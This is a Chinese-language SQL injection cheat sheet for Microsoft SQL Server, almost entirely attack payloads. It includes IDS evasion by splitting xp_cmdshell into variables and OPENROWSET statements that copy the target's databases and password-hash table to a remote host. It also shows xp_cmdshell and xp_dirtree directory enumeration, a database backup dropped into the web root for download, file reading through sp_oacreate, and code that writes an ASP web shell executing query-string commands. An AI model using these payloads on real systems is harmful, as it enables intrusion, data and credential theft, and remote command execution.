update 表名 set 字段=(select top 1 col_name(object_id（要查詢的數(shù)據(jù)表名），字段列如：1) [ where 條件]
繞過(guò)IDS的檢測(cè)[使用變量]
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\
開啟遠(yuǎn)程數(shù)據(jù)庫(kù)
基本語(yǔ)法
select * from OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1 )
參數(shù)： (1) OLEDB Provider name
其中連接字符串參數(shù)可以是任何端口用來(lái)連接，比如
select * from OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table
復(fù)制目標(biāo)主機(jī)的整個(gè)數(shù)據(jù)庫(kù)insert所有遠(yuǎn)程表到本地表。
基本語(yǔ)法：
insert into OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1) select * from table2
這行語(yǔ)句將目標(biāo)主機(jī)上table2表中的所有數(shù)據(jù)復(fù)制到遠(yuǎn)程數(shù)據(jù)庫(kù)中的table1表中。實(shí)際運(yùn)用中適當(dāng)修改連接字符串的IP地址和端口，指向需要的地方，比如：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from
table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)
select * from user_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns)
select * from user_database.dbo.syscolumns
復(fù)制數(shù)據(jù)庫(kù)：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * fromdatabase..table2
復(fù)制哈西表（HASH）登錄密碼的hash存儲(chǔ)于sysxlogins中。方法如下：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select
* from database.dbo.sysxlogins
得到hash之后，就可以進(jìn)行暴力破解。
遍歷目錄的方法：先創(chuàng)建一個(gè)臨時(shí)表：temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 獲得當(dāng)前所有驅(qū)動(dòng)器
;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- 獲得子目錄列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- 獲得所有子目錄的目錄樹結(jié)構(gòu)，并寸入temp表中
;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 查看某個(gè)文件的內(nèi)容
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;--
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;--
;insert into temp(id) exec master.dbo.xp_cmdshell cscript. C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- （xp_dirtree適用權(quán)限PUBLIC）
寫入表：
語(yǔ)句1：and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));--
語(yǔ)句2：and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));--
語(yǔ)句3：and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--
語(yǔ)句4：and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
語(yǔ)句5：and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
語(yǔ)句6：and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--
語(yǔ)句7：and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
語(yǔ)句8：and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
語(yǔ)句9：and 1=(SELECT IS_MEMBER(db_owner));--
把路徑寫到表中去：
;create table dirs(paths varchar(100),id int)--
;insert dirs exec master.dbo.xp_dirtree c:\--
and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
;create table dirs1(paths varchar(100),id int)--
;insert dirs exec master.dbo.xp_dirtree e:\web--
and 0<>(select top 1 paths from dirs1)--
把數(shù)據(jù)庫(kù)備份到網(wǎng)頁(yè)目錄：下載
;declare @a sysname; set @a=db_name();backup database @a to disk=e:\web\down.bak;--
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 參看相關(guān)表。
and 1=(select user_id from USER_LOGIN)
and 0=(select user from USER_LOGIN where user>1)
-=-wscript.shellexample -=-
declare @o int
exec sp_oacreate wscript.shell,@o out
exec sp_oamethod @o,run,NULL,notepad.exe
; declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,notepad.exe--
declare @o int,@f int,@t int,@ret int
declare @line varchar(8000)
exec sp_oacreate scripting.filesystemobject,@o out
exec sp_oamethod @o,opentextfile,@f out,c:\boot.ini,1
exec @ret = sp_oamethod @f,readline,@line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f,readline,@line out
end
declare @o int,@f int,@t int,@ret int
exec sp_oacreate scripting.filesystemobject,@o out
exec sp_oamethod @o,createtextfile,@f out,c:\inetpub\wwwroot\foo.asp,1
exec @ret = sp_oamethod @f,writeline,NULL,
<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>
declare @o int,@ret int
exec sp_oacreate speech.voicetext,@o out
exec sp_oamethod @o,register,NULL,foo,bar
exec sp_oasetproperty @o,speed,150
exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to,us,528 waitfor delay 00:00:05
; declare @o int,@ret int exec sp_oacreate speech.voicetext,@o out exec sp_oamethod @o,register,NULL,foo,bar exec
sp_oasetproperty @o,speed,150 exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to us,528 waitfor delay 00:00:05--
xp_dirtree適用權(quán)限PUBLIC
exec master.dbo.xp_dirtree c:\
返回的信息有兩個(gè)字段subdirectory、depth。Subdirectory字段是字符型，depth字段是整形字段。
create table dirs(paths varchar(100),id int)
建表，這里建的表是和上面xp_dirtree相關(guān)連，字段相等、類型相同。
insert dirs exec master.dbo.xp_dirtree c:\
只要我們建表與存儲(chǔ)進(jìn)程返回的字段相定義相等就能夠執(zhí)行！達(dá)到寫表的效果.
